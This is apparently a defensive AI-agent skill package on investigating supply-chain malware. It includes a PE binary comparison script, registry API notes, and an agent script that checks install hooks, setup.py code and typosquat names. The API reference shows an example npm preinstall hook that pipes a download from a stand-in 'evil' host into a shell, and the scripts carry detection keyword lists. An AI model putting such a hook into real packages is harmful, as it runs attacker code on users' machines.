# analyzing-supply-chain-malware-artifacts

Investigate supply chain attack artifacts including trojanized software updates, compromised build pipelines, and sideloaded dependencies to identify intrusion vectors and scope of compromise.

- **Kind:** skill
- **Source:** https://github.com/mukul975/Anthropic-Cybersecurity-Skills
- **Page:** https://forefy.com/skills/f7756c98-82d9-4dd0-b487-c66ddd7c104a
- **API (JSON + files):** https://forefy.com/api/asr/f7756c98-82d9-4dd0-b487-c66ddd7c104a

---

## LICENSE

```

```

## SKILL.md

---
name: analyzing-supply-chain-malware-artifacts
description: Investigate supply chain attack artifacts including trojanized software
  updates, compromised build pipelines, and sideloaded dependencies to identify intrusion
  vectors and scope of compromise.
domain: cybersecurity
subdomain: malware-analysis
tags:
- supply-chain
- malware-analysis
- trojanized-software
- solarwinds
- 3cx
- dependency-confusion
- software-integrity
version: '1.0'
author: mahipal
license: Apache-2.0
atlas_techniques:
- AML.T0010
nist_ai_rmf:
- GOVERN-5.2
- MAP-1.6
- MANAGE-2.2
d3fend_techniques:
- Platform Hardening
- Hardware Component Inventory
- Restore Object
- Electromagnetic Radiation Hardening
- RF Shielding
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1195.002
- T1195.001
- T1554
- T1553.002
- T1027
---
# Analyzing Supply Chain Malware Artifacts

## Overview

Supply chain attacks compromise legitimate software distribution channels to deliver malware through trusted update mechanisms. Notable examples include SolarWinds SUNBURST (2020, affecting 18,000+ customers), 3CX SmoothOperator (2023, a cascading supply chain attack originating from Trading Technologies), and numerous npm/PyPI package poisoning campaigns. Analysis involves comparing trojanized binaries against legitimate versions, identifying injected code in build artifacts, examining code signing anomalies, and tracing the infection chain from initial compromise through payload delivery. As of 2025, supply chain attacks account for 30% of all breaches, a 100% increase from prior years.


## When to Use

- When investigating security incidents that require analyzing supply chain malware artifacts
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques

## Prerequisites

- Python 3.9+ with `pefile`, `ssdeep`, `hashlib`
- Binary diff tools (BinDiff, Diaphora)
- Code signing verification tools (sigcheck, codesign)
- Software composition analysis (SCA) tools
- Access to legitimate software versions for comparison
- Package repository monitoring (npm, PyPI, NuGet)

## Workflow

### Step 1: Binary Comparison Analysis

```python
#!/usr/bin/env python3
"""Compare trojanized binary against legitimate version."""
import hashlib
import pefile
import sys
import json


def compare_pe_files(legitimate_path, suspect_path):
    """Compare PE file structures between legitimate and suspect versions."""
    legit_pe = pefile.PE(legitimate_path)
    suspect_pe = pefile.PE(suspect_path)

    report = {"differences": [], "suspicious_sections": [], "import_changes": []}

    # Compare sections
    legit_sections = {s.Name.rstrip(b'\x00').decode(): {
        "size": s.SizeOfRawData,
        "entropy": s.get_entropy(),
        "characteristics": s.Characteristics,
    } for s in legit_pe.sections}

    suspect_sections = {s.Name.rstrip(b'\x00').decode(): {
        "size": s.SizeOfRawData,
        "entropy": s.get_entropy(),
        "characteristics": s.Characteristics,
    } for s in suspect_pe.sections}

    # Find new or modified sections
    for name, props in suspect_sections.items():
        if name not in legit_sections:
            report["suspicious_sections"].append({
                "name": name, "reason": "New section not in legitimate version",
                "size": props["size"], "entropy": round(props["entropy"], 2),
            })
        elif abs(props["size"] - legit_sections[name]["size"]) > 1024:
            report["suspicious_sections"].append({
                "name": name, "reason": "Section size significantly changed",
                "legit_size": legit_sections[name]["size"],
                "suspect_size": props["size"],
            })

    # Compare imports
    legit_imports = set()
    if hasattr(legit_pe, 'DIRECTORY_ENTRY_IMPORT'):
        for entry in legit_pe.DIRECTORY_ENTRY_IMPORT:
            for imp in entry.imports:
                if imp.name:
                    legit_imports.add(f"{entry.dll.decode()}!{imp.name.decode()}")

    suspect_imports = set()
    if hasattr(suspect_pe, 'DIRECTORY_ENTRY_IMPORT'):
        for entry in suspect_pe.DIRECTORY_ENTRY_IMPORT:
            for imp in entry.imports:
                if imp.name:
                    suspect_imports.add(f"{entry.dll.decode()}!{imp.name.decode()}")

    new_imports = suspect_imports - legit_imports
    if new_imports:
        report["import_changes"] = list(new_imports)

    # Check code signing
    report["legit_signed"] = bool(legit_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size)
    report["suspect_signed"] = bool(suspect_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size)

    return report


def hash_file(filepath):
    """Calculate multiple hashes for a file."""
    hashes = {}
    with open(filepath, 'rb') as f:
        data = f.read()
    for algo in ['md5', 'sha1', 'sha256']:
        h = hashlib.new(algo)
        h.update(data)
        hashes[algo] = h.hexdigest()
    return hashes


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <legitimate_binary> <suspect_binary>")
        sys.exit(1)
    report = compare_pe_files(sys.argv[1], sys.argv[2])
    print(json.dumps(report, indent=2))
```

## Validation Criteria

- Trojanized components identified through binary diffing
- Injected code isolated and analyzed separately
- Code signing anomalies documented
- Infection timeline reconstructed from build artifacts
- Downstream impact scope assessed across affected systems
- IOCs extracted for detection and blocking

## References

- [ReversingLabs - 3CX Supply Chain Analysis](https://www.reversinglabs.com/blog/what-went-wrong-with-the-3cx-software-supply-chain-attack-and-how-it-could-have-been-prevented)
- [Fortinet - SolarWinds Supply Chain Attack](https://www.fortinet.com/resources/cyberglossary/solarwinds-cyber-attack)
- [Picus - 3CX SmoothOperator Analysis](https://www.picussecurity.com/resource/blog/smoothoperator-analysis-of-3cxdesktopapp-supply-chain-attack)
- [MITRE ATT&CK T1195 - Supply Chain Compromise](https://attack.mitre.org/techniques/T1195/)

## assets

```

```

## assets/template.md

# Analysis Report Template - analyzing-supply-chain-malware-artifacts

## Sample Information
| Field | Value |
|-------|-------|
| SHA-256 | |
| File Type | |
| Analysis Date | |
| Analyst | |
| Classification | TLP:AMBER |

## Findings
| Finding | Severity | Details |
|---------|----------|---------|
| | | |

## IOCs Extracted
| Type | Value | Context |
|------|-------|---------|
| | | |

## Recommendations
1.
2.
3.

## references

```

```

## references/api-reference.md

# API Reference: Supply Chain Malware Analysis

## npm Registry API

### Package Metadata
```bash
curl https://registry.npmjs.org/<package-name>
curl https://registry.npmjs.org/<package-name>/<version>
```

### Response Fields
| Field | Description |
|-------|-------------|
| `dist-tags.latest` | Latest version |
| `versions` | All published versions |
| `maintainers` | Package maintainers |
| `time.created` | First publish date |
| `time.modified` | Last modification |

## PyPI JSON API

### Package Info
```bash
curl https://pypi.org/pypi/<package-name>/json
```

### Key Fields
| Field | Description |
|-------|-------------|
| `info.author` | Package author |
| `info.version` | Current version |
| `releases` | All versions with artifacts |
| `info.project_urls` | Source code links |

## Socket.dev - Supply Chain Analysis

### npm Audit
```bash
socket npm audit
socket npm info <package>
```

## Suspicious Package Indicators

| Indicator | Severity | Description |
|-----------|----------|-------------|
| preinstall/postinstall hooks | HIGH | Code runs during npm install |
| URL/git dependencies | HIGH | Dependencies from non-registry source |
| eval/exec in setup.py | HIGH | Dynamic code execution during pip install |
| Base64 in install scripts | HIGH | Obfuscated payload |
| Recently created package | MEDIUM | New package mimicking popular name |
| Single maintainer | LOW | Bus factor risk |

## Sigstore/cosign Verification

### Verify Container Image
```bash
cosign verify --certificate-identity-regexp=".*" \
  --certificate-oidc-issuer-regexp=".*" image:tag
```

### Verify Artifact
```bash
cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz
```

## SLSA Framework Levels

| Level | Requirement |
|-------|-------------|
| SLSA 1 | Build provenance exists |
| SLSA 2 | Hosted build platform, authenticated provenance |
| SLSA 3 | Hardened build platform, non-falsifiable provenance |
| SLSA 4 | Two-party review, hermetic builds |

## npm install Hook Risks
```json
{
  "scripts": {
    "preinstall": "curl evil[.]example/payload | sh",
    "postinstall": "node ./install.js",
    "preuninstall": "node cleanup.js"
  }
}
```

## references/standards.md

# Standards Reference - analyzing-supply-chain-malware-artifacts

## Applicable Standards
- MITRE ATT&CK Framework
- NIST SP 800-83 Guide to Malware Incident Prevention
- NIST SP 800-86 Guide to Integrating Forensic Techniques

## Related MITRE ATT&CK Techniques
See SKILL.md for specific technique mappings.

## references/workflows.md

# Analysis Workflows - analyzing-supply-chain-malware-artifacts

## Primary Workflow
```
[Sample Collection] --> [Static Analysis] --> [Dynamic Analysis] --> [IOC Extraction]
                                                                          |
                                                                          v
                                                                 [Report Generation]
```

See SKILL.md for detailed step-by-step procedures.

## scripts

```

```

## scripts/agent.py

```python
#!/usr/bin/env python3
"""Supply chain malware artifact analysis agent.

Analyzes software supply chain compromise indicators including package
integrity, build pipeline artifacts, dependency confusion, and trojanized updates.
"""

import os
import sys
import json
import hashlib
import re
import subprocess
from datetime import datetime

try:
    import requests
    HAS_REQUESTS = True
except ImportError:
    HAS_REQUESTS = False


def compute_hash(filepath):
    hashes = {}
    for algo in ("md5", "sha1", "sha256"):
        h = hashlib.new(algo)
        with open(filepath, "rb") as f:
            for chunk in iter(lambda: f.read(65536), b""):
                h.update(chunk)
        hashes[algo] = h.hexdigest()
    return hashes


def check_npm_package(package_name):
    if not HAS_REQUESTS:
        return {"error": "requests not installed"}
    url = f"https://registry.npmjs.org/{package_name}"
    try:
        resp = requests.get(url, timeout=15)
        resp.raise_for_status()
        data = resp.json()
        latest = data.get("dist-tags", {}).get("latest", "")
        versions = list(data.get("versions", {}).keys())
        maintainers = data.get("maintainers", [])
        return {
            "name": package_name, "latest": latest,
            "version_count": len(versions),
            "maintainers": [m.get("name") for m in maintainers],
        }
    except requests.RequestException as e:
        return {"error": str(e)}


def check_pypi_package(package_name):
    if not HAS_REQUESTS:
        return {"error": "requests not installed"}
    url = f"https://pypi.org/pypi/{package_name}/json"
    try:
        resp = requests.get(url, timeout=15)
        resp.raise_for_status()
        data = resp.json()
        info = data.get("info", {})
        return {
            "name": info.get("name"), "version": info.get("version"),
            "author": info.get("author"),
            "release_count": len(data.get("releases", {})),
        }
    except requests.RequestException as e:
        return {"error": str(e)}


def detect_typosquat_packages(target_name):
    permutations = set()
    for i in range(len(target_name)):
        permutations.add(target_name[:i] + target_name[i+1:])
    for i in range(len(target_name) - 1):
        swapped = list(target_name)
        swapped[i], swapped[i+1] = swapped[i+1], swapped[i]
        permutations.add("".join(swapped))
    permutations.add(target_name.replace("-", "_"))
    permutations.add(target_name.replace("_", "-"))
    permutations.discard(target_name)
    return sorted(permutations)


def analyze_package_scripts(package_json_path):
    with open(package_json_path, "r") as f:
        pkg = json.load(f)
    findings = []
    scripts = pkg.get("scripts", {})
    for hook in ["preinstall", "postinstall", "preuninstall"]:
        if hook in scripts:
            cmd = scripts[hook]
            findings.append({
                "type": "install_hook", "hook": hook, "command": cmd[:200],
                "severity": "HIGH" if any(s in cmd.lower() for s in
                    ["curl", "wget", "eval", "exec", "base64"]) else "MEDIUM",
            })
    deps = {**pkg.get("dependencies", {}), **pkg.get("devDependencies", {})}
    for dep, ver in deps.items():
        if ver.startswith("http") or ver.startswith("git"):
            findings.append({
                "type": "url_dependency", "package": dep,
                "source": ver[:200], "severity": "HIGH",
            })
    return {"name": pkg.get("name"), "findings": findings}


def analyze_python_setup(setup_py_path):
    with open(setup_py_path, "r") as f:
        content = f.read()
    findings = []
    patterns = [
        (r"os\.system\(", "os.system() execution"),
        (r"subprocess\.", "subprocess execution"),
        (r"exec\(", "exec() code execution"),
        (r"eval\(", "eval() code execution"),
        (r"base64\.b64decode", "Base64 decoding"),
        (r"socket\.", "Network socket usage"),
    ]
    for pattern, description in patterns:
        if re.search(pattern, content):
            findings.append({
                "type": "suspicious_setup_code",
                "pattern": description, "severity": "HIGH",
            })
    return {"file": setup_py_path, "findings": findings}


if __name__ == "__main__":
    print("=" * 60)
    print("Supply Chain Malware Artifact Analysis Agent")
    print("Package integrity, typosquat detection, install hook analysis")
    print("=" * 60)

    target = sys.argv[1] if len(sys.argv) > 1 else None
    if not target:
        print("\n[DEMO] Usage:")
        print("  python agent.py <package.json>         # Analyze npm package")
        print("  python agent.py npm:<package_name>     # Check npm registry")
        print("  python agent.py pypi:<package_name>    # Check PyPI registry")
        sys.exit(0)

    if target.startswith("npm:"):
        pkg_name = target[4:]
        print(f"\n[*] Checking npm: {pkg_name}")
        info = check_npm_package(pkg_name)
        typos = detect_typosquat_packages(pkg_name)
        print(json.dumps(info, indent=2))
        print(f"\n  Potential typosquats: {typos[:10]}")
    elif target.startswith("pypi:"):
        pkg_name = target[5:]
        print(f"\n[*] Checking PyPI: {pkg_name}")
        info = check_pypi_package(pkg_name)
        print(json.dumps(info, indent=2))
    elif os.path.exists(target):
        basename = os.path.basename(target)
        if basename == "package.json":
            result = analyze_package_scripts(target)
        elif basename == "setup.py":
            result = analyze_python_setup(target)
        else:
            result = {"file": target, "hashes": compute_hash(target)}
        print(json.dumps(result, indent=2))
```

